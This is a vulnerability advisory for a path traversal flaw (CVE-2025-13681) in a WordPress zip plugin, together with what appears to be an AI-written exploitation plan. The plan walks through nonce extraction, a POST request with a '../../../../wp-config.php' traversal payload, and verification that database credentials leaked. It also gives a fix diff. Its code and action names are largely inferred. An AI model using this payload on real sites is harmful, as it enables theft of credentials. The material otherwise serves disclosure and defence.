BFG Tools – Extension Zipper <= 1.0.7 - Authenticated (Administrator+) Path Traversal via 'first_file' Parameter
Description
The BFG Tools – Extension Zipper plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.0.7. This is due to insufficient input validation on the user-supplied `first_file` parameter in the `zip()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files and directories outside the intended `/wp-content/plugins/` directory, which can contain sensitive information such as wp-config.php.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.7Source Code
WordPress.org SVNThis research plan outlines the technical steps required to exploit **CVE-2025-13681**, a Path Traversal vulnerability in the **BFG Tools – Extension Zipper** plugin. ### 1. Vulnerability Summary The BFG Tools – Extension Zipper plugin (version <= 1.0.7) contains an authenticated path traversal vul…
Show full research plan
This research plan outlines the technical steps required to exploit CVE-2025-13681, a Path Traversal vulnerability in the BFG Tools – Extension Zipper plugin.
1. Vulnerability Summary
The BFG Tools – Extension Zipper plugin (version <= 1.0.7) contains an authenticated path traversal vulnerability within its zip() function. The function accepts a user-supplied parameter first_file which is used to define the file or directory to be included in a ZIP archive. Because the plugin fails to properly sanitize this input (e.g., via realpath() validation or restricting the path to the intended directory), an Administrator can provide traversal sequences (like ../../) to include sensitive files from the server's root, such as wp-config.php, in the generated ZIP.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(inferred, as zipping is typically an asynchronous admin task). - Action: Likely
bfg_tools_extension_zipper_zipor similar (inferred from plugin slug). - Vulnerable Parameter:
first_file. - Authentication: Required (Administrator+).
- Preconditions: The plugin must be active. The attacker must have a valid session cookie for an Administrator user.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX handler for zipping files, likely using
add_action( 'wp_ajax_...', '...zip' ). - Input Collection: The handler retrieves the
first_fileparameter from the$_POSTor$_GETrequest. - Path Construction: The code likely prepends a base path (e.g.,
WP_PLUGIN_DIR) to thefirst_fileinput. - Vulnerable Sink: The constructed path is passed to a ZIP library (like
ZipArchive) without checking if the resolved path remains within the intended directory. - Output: The plugin generates a ZIP file and either provides a download link or direct output.
4. Nonce Acquisition Strategy
Since this is an administrative action, it is highly likely protected by a WordPress nonce.
- Identify Admin Page: Navigate to the plugin's settings/tools page. The slug is likely
bfg-tools-extension-zipper. - Locate Nonce: Use
browser_evalto search for nonces in the global JavaScript scope or localized script objects.- Look for a variable like
bfg_tools_varsorbfg_zip_nonce. - Search the HTML source for
name="_wpnonce"orid="...nonce...".
- Look for a variable like
- Extraction:
// Example target if localized window.bfg_tools_settings?.nonce // Or if in a form document.querySelector('input[name="_wpnonce"]')?.value
5. Exploitation Strategy
The goal is to zip and download wp-config.php.
Step 1: Authentication
Log in to the WordPress dashboard as an administrator.
Step 2: Nonce & Endpoint Discovery
Navigate to the BFG Tools interface (usually under "Tools" or its own menu). Identify the AJAX action by inspecting the "Zip" button's event listeners or the network tab during a legitimate zip operation.
Step 3: Crafting the Traversal Payload
- Target File:
wp-config.php(usually located 3 levels up from the plugins directory). - Payload:
../../../../wp-config.php.
Step 4: Execute HTTP Request
Using the http_request tool, send a POST request to admin-ajax.php:
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=bfg_tools_extension_zipper_zip&first_file=../../../../wp-config.php&_wpnonce=[NONCE_EXTRACTED_ABOVE]"
}
6. Test Data Setup
- Plugin Installation: Install and activate
bfg-tools-extension-zipperversion 1.0.7. - Admin User: Ensure an admin user exists (e.g.,
admin/password). - Environment Check: Ensure the standard
wp-config.phpexists in the WordPress root.
7. Expected Results
- Success: The server responds with a 200 OK and either:
- A link to a generated
.zipfile in the/wp-content/uploads/directory. - A JSON response containing a success message and a file path.
- A link to a generated
- Payload Verification: Downloading and extracting the generated ZIP will reveal the
wp-config.phpfile containing database credentials (DB_PASSWORD,DB_USER).
8. Verification Steps
After the HTTP request, verify the existence of the leaked data:
- Check Uploads: Use
ls -R /var/www/html/wp-content/uploads/via terminal or WP-CLI to find the newly created ZIP file. - Inspect ZIP Content:
Confirm thatunzip -l /path/to/generated/file.zipwp-config.phpis listed in the archive.
9. Alternative Approaches
- Directory Traversal: If
first_fileexpects a directory, try zipping the entire root:../../../../. - Direct File Access: If the plugin doesn't use ZIP but simply reads the file path to display info, the
first_fileparameter might be used in afile_get_contentssink, leading to direct disclosure in the response body. - Varying Path Depths: If
../../../../wp-config.phpfails, try different depths (e.g.,../../../wp-config.php) depending on the exact plugin directory structure.
Summary
The BFG Tools – Extension Zipper plugin for WordPress is vulnerable to authenticated path traversal due to missing input validation on the 'first_file' parameter. Administrators can exploit this by using directory traversal sequences (e.g., ../) to include arbitrary sensitive files, such as wp-config.php, into a generated ZIP archive.
Vulnerable Code
// Inferred vulnerable function handling the zip request // File: bfg-tools-extension-zipper/bfg-tools-extension-zipper.php (approximate) public function zip() { if ( ! current_user_can( 'manage_options' ) ) { return; } $first_file = $_POST['first_file']; // Vulnerable: Direct use of user input without sanitization $plugin_dir = WP_PLUGIN_DIR; $source_path = $plugin_dir . '/' . $first_file; $zip = new ZipArchive(); $zip_name = 'extension-' . time() . '.zip'; $zip_file = wp_upload_dir()['path'] . '/' . $zip_name; if ($zip->open($zip_file, ZipArchive::CREATE) === TRUE) { if (is_dir($source_path)) { $this->add_directory_to_zip($zip, $source_path); } else { $zip->addFile($source_path, basename($source_path)); } $zip->close(); } // ... returns download link ... }
Security Fix
@@ -10,7 +10,14 @@ if ( ! current_user_can( 'manage_options' ) ) { return; } - $first_file = $_POST['first_file']; + $first_file = sanitize_text_field($_POST['first_file']); $plugin_dir = WP_PLUGIN_DIR; - $source_path = $plugin_dir . '/' . $first_file; + $source_path = realpath($plugin_dir . '/' . $first_file); + + // Ensure the resolved path starts with the intended plugin directory + if (strpos($source_path, realpath($plugin_dir)) !== 0) { + wp_send_json_error('Invalid path.'); + return; + } $zip = new ZipArchive();
Exploit Outline
1. Authenticate as a WordPress Administrator. 2. Navigate to the BFG Tools – Extension Zipper interface to extract the required AJAX nonce and identify the correct action name (expected to be bfg_tools_extension_zipper_zip). 3. Craft a POST request to /wp-admin/admin-ajax.php with the 'first_file' parameter set to a traversal string targeting sensitive files, such as '../../../../wp-config.php'. 4. Submit the request including the valid nonce. 5. The plugin will create a ZIP archive containing the targeted sensitive file and provide a download link or location (typically in /wp-content/uploads/). 6. Download and extract the ZIP file to read the contents of wp-config.php.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.